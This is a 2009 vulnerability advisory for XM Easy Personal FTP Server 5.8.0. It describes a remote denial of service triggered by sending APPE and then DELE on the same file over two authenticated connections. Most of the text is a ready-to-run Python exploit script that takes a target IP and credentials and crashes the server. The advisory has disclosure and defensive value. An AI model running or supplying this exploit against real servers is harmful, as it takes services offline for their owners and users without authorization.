XM Easy Personal FTP Server 'APPE' and 'DELE' Command Remote Denial of Service Vulnerability

Date of Discovery: 13-Nov-2009

Credits:zhangmc[at]mail.ustc.edu.cn

Vendor: Dxmsoft

Affected:
XM Easy Personal FTP Server 5.8.0
Earlier versions may also be affected

Overview:
XM Easy Personal FTP Server is an easy use FTP server Application. Denial of service vulnerability exists in XM Personal
FTP Server when "APPE" is used in one socket connection while "DELE" command is used in another.

Details:
If you could log on the server successfully, take the following steps and the ftp server will stop responding:

first socket connection:
1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.sock.send("PORT 127,0,0,1,122,107\r\n")
5.sock.send("APPE "+ test_string +"\r\n")
6.sock.close()

second socket connection:
1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.sock.send("DELE "+ test_string +"\r\n")

Severity:
High

Exploit example:

#!/usr/bin/python
import socket
import sys

def Usage():
print ("Usage: ./expl.py <serv_ip> <Username> <password>\n")
print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
if len(sys.argv) <> 4:
Usage()
sys.exit(1)
else:
hostname=sys.argv[1]
username=sys.argv[2]
passwd=sys.argv[3]
test_string="a"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_data = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((hostname, 21))
except:
print ("Connection error!")
sys.exit(1)
r=sock.recv(1024)
print "[+] "+ r
sock.send("user %s\r\n" %username)
print "[-] "+ ("user %s\r\n" %username)
r=sock.recv(1024)
print "[+] "+ r
sock.send("pass %s\r\n" %passwd)
print "[-] "+ ("pass %s\r\n" %passwd)
r=sock.recv(1024)
print "[+] "+ r

sock_data.bind(('127.0.0.1',31339))
sock_data.listen(1)

sock.send("PORT 127,0,0,1,122,107\r\n")
print "[-] "+ ("PORT 127,0,0,1,122,107\r\n")
r=sock.recv(1024)
print "[+] "+ r
    
sock.send("APPE "+ test_string +"\r\n")
print "[-] "+ ("APPE "+ test_string +"\r\n")
r=sock.recv(1024)
print "[+] "+ r


 
sock.close()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    sock.connect((hostname, 21))
except:
    print ("Connection error!")
    sys.exit(1)
r=sock.recv(1024)
print "[+] "+ r
sock.send("user %s\r\n" %username)
print "[-] "+ ("user %s\r\n" %username)
r=sock.recv(1024)
print "[+] "+ r
sock.send("pass %s\r\n" %passwd)
print "[-] "+ ("pass %s\r\n" %passwd)
r=sock.recv(1024)
print "[+] "+ r

sock.send("DELE "+ test_string +"\r\n")
print "[-] "+ ("DELE "+ test_string +"\r\n")
r=sock.recv(1024)
print "[+] "+ r    

sys.exit(0);